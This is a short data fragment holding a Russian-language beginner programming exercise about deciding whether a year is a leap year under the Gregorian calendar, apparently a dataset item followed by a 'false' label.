[ "# Дано натуральное число. Требуется определить,\n# является ли год с данным номером високосным.\n# Если год является високосным, то выведите `YES`, иначе выведите `NO`.\n# Напомним, что в соответствии с григорианским календарем, год является високосным,\n# если его номер кратен 4, но не кратен 100, а также если он...
false